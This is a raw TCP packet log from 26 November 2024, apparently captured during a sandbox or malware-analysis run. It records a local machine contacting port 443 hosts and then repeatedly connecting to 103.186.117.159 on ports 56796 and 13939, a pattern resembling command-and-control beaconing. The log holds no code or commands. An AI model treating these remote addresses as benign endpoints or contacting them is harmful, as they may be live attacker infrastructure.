Nov 26, 2024 08:12:19.779263020 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.779263020 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.779273987 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.779292107 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.779355049 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.779566050 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.779566050 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.779586077 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.779594898 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:20.396378040 CET	49745	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:20.396423101 CET	443	49745	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:20.396516085 CET	49745	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:20.396770000 CET	49745	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:20.396826029 CET	443	49745	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:20.396980047 CET	49745	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:20.458077908 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:20.458127975 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:20.458210945 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:20.458528996 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:20.458548069 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:22.042279959 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:22.042356014 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:22.045264959 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:22.045274019 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:22.045578957 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:22.054997921 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:22.095331907 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:22.573436975 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:22.573465109 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:22.573554993 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:22.573575020 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:22.622678995 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:22.645603895 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:22.645617962 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:22.645863056 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:22.772449017 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:22.772460938 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:22.772553921 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:22.796358109 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:22.796366930 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:22.796515942 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:22.818449974 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:22.818578959 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:22.873075962 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:22.873152971 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:22.944247007 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:22.944367886 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:22.965253115 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:22.965346098 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:22.981666088 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:22.981762886 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:22.996880054 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:22.996972084 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.013199091 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.013267040 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.022505999 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.022641897 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.062859058 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.062935114 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.072184086 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.072266102 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.139699936 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.139925003 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.148756027 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.148838997 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.156455040 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.156531096 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.165839911 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.165930986 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.174715042 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.175004959 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.182399035 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.182485104 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.189579964 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.189665079 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.197081089 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.197159052 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.202809095 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.202898026 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.226145983 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.226258993 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.231771946 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.231844902 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.324596882 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.324704885 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.329087019 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.329183102 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.333744049 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.333862066 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.338529110 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.338639021 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.343276978 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.343378067 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.349291086 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.349380970 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.354718924 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.354804993 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.360008955 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.360100031 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.364701033 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.364784002 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.368818045 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.368917942 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.373900890 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.373999119 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.378447056 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.378534079 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.382823944 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.382908106 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.414202929 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.414423943 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.418025017 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.418116093 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.421883106 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.421960115 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.516926050 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.517092943 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.520045996 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.520149946 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.523701906 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.523834944 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.527298927 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.527395964 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.532260895 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.532356024 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.535854101 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.535953045 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.539798975 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.539889097 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.544961929 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.545196056 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.548310041 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.548398018 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.551615000 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.551693916 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.555800915 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.555906057 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.559544086 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.559638977 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.563235998 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.563337088 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.567970037 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.568057060 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.607459068 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.607530117 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.611073971 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.611166000 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.615848064 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.615917921 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.710870981 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.711025953 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.714230061 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.714329004 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.717596054 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.717689037 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.722179890 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.722273111 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.725440025 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.725522995 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.729049921 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.729141951 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.732270002 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.732361078 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.736767054 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.736856937 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.740180016 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.740258932 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.744041920 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.744124889 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.747601986 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.747699022 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.750967026 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.751063108 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.755337954 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.755426884 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.798105001 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.798285961 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.801523924 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.801629066 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.804913044 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.805008888 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.901700974 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.901865959 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.905395031 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.905476093 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.908761024 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.908828020 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.912237883 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.912319899 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.915591002 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.915658951 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.919949055 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.920022011 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.923336983 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.923403978 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.926808119 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.926882982 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.931096077 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.931169987 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.934539080 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.934606075 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.938391924 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.938462973 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.941767931 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.941838980 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.945250034 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.945334911 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.991919994 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.992116928 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.993545055 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.993613005 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:23.997162104 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:23.997253895 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.094357967 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.094449997 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.097054958 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.097125053 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.100771904 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.100857973 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.103832960 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.103948116 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.108264923 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.108375072 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.111561060 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.111655951 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.114959955 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.115057945 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.119349003 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.119453907 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.122684002 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.122752905 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.126288891 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.126358032 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.129959106 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.130065918 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.133404970 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.133471012 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.136828899 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.136897087 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.141571045 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.141669035 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.183351040 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.183531046 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.188628912 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.188709021 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.192465067 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.192553043 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.288080931 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.288171053 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.291673899 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.291747093 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.294838905 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.294926882 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.299213886 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.299447060 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.302700996 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.302783966 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.306041956 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.306127071 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.309340000 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.309418917 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.313813925 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.313890934 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.317015886 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.317110062 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.321014881 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.321089029 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.324434996 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.324508905 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.327809095 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.327893019 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.332101107 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.332228899 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.375081062 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.375235081 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.378634930 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.378783941 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.381778002 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.381860018 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.479784966 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.479895115 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.483099937 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.483242035 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.486728907 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.486826897 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.489937067 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.490041971 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.495506048 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.495609045 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.497945070 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.498042107 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.501343012 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.501463890 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.505489111 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.505597115 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.508866072 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.508968115 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.512387991 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.512526989 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.516036034 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.516144037 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.516155005 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.516170979 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.516252995 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.516279936 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.516295910 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:24.516314983 CET	49746	443	192.168.2.9	162.19.139.102
Nov 26, 2024 08:12:24.516321898 CET	443	49746	162.19.139.102	192.168.2.9
Nov 26, 2024 08:12:29.077389002 CET	49763	56796	192.168.2.9	103.186.117.159
Nov 26, 2024 08:12:29.198652029 CET	56796	49763	103.186.117.159	192.168.2.9
Nov 26, 2024 08:12:29.198750019 CET	49763	56796	192.168.2.9	103.186.117.159
Nov 26, 2024 08:12:29.204001904 CET	49763	56796	192.168.2.9	103.186.117.159
Nov 26, 2024 08:12:29.323887110 CET	56796	49763	103.186.117.159	192.168.2.9
Nov 26, 2024 08:12:51.132211924 CET	56796	49763	103.186.117.159	192.168.2.9
Nov 26, 2024 08:12:51.132302999 CET	49763	56796	192.168.2.9	103.186.117.159
Nov 26, 2024 08:12:51.135348082 CET	49763	56796	192.168.2.9	103.186.117.159
Nov 26, 2024 08:12:51.255237103 CET	56796	49763	103.186.117.159	192.168.2.9
Nov 26, 2024 08:12:51.910763025 CET	49813	13939	192.168.2.9	103.186.117.159
Nov 26, 2024 08:12:52.030858994 CET	13939	49813	103.186.117.159	192.168.2.9
Nov 26, 2024 08:12:52.031157970 CET	49813	13939	192.168.2.9	103.186.117.159
Nov 26, 2024 08:12:52.034755945 CET	49813	13939	192.168.2.9	103.186.117.159
Nov 26, 2024 08:12:52.154709101 CET	13939	49813	103.186.117.159	192.168.2.9
Nov 26, 2024 08:13:14.034374952 CET	13939	49813	103.186.117.159	192.168.2.9
Nov 26, 2024 08:13:14.034543037 CET	49813	13939	192.168.2.9	103.186.117.159
Nov 26, 2024 08:13:14.034650087 CET	49813	13939	192.168.2.9	103.186.117.159
Nov 26, 2024 08:13:14.154624939 CET	13939	49813	103.186.117.159	192.168.2.9
Nov 26, 2024 08:13:15.046561956 CET	49823	56796	192.168.2.9	103.186.117.159
Nov 26, 2024 08:13:15.167076111 CET	56796	49823	103.186.117.159	192.168.2.9
Nov 26, 2024 08:13:15.167237043 CET	49823	56796	192.168.2.9	103.186.117.159
Nov 26, 2024 08:13:15.170892000 CET	49823	56796	192.168.2.9	103.186.117.159
Nov 26, 2024 08:13:15.291397095 CET	56796	49823	103.186.117.159	192.168.2.9
Nov 26, 2024 08:13:37.080526114 CET	56796	49823	103.186.117.159	192.168.2.9
Nov 26, 2024 08:13:37.080638885 CET	49823	56796	192.168.2.9	103.186.117.159
Nov 26, 2024 08:13:37.108644962 CET	49823	56796	192.168.2.9	103.186.117.159
Nov 26, 2024 08:13:37.228538036 CET	56796	49823	103.186.117.159	192.168.2.9
Nov 26, 2024 08:13:37.254262924 CET	49824	13939	192.168.2.9	103.186.117.159
Nov 26, 2024 08:13:37.374209881 CET	13939	49824	103.186.117.159	192.168.2.9
Nov 26, 2024 08:13:37.375227928 CET	49824	13939	192.168.2.9	103.186.117.159
Nov 26, 2024 08:13:37.382916927 CET	49824	13939	192.168.2.9	103.186.117.159
Nov 26, 2024 08:13:37.503371000 CET	13939	49824	103.186.117.159	192.168.2.9
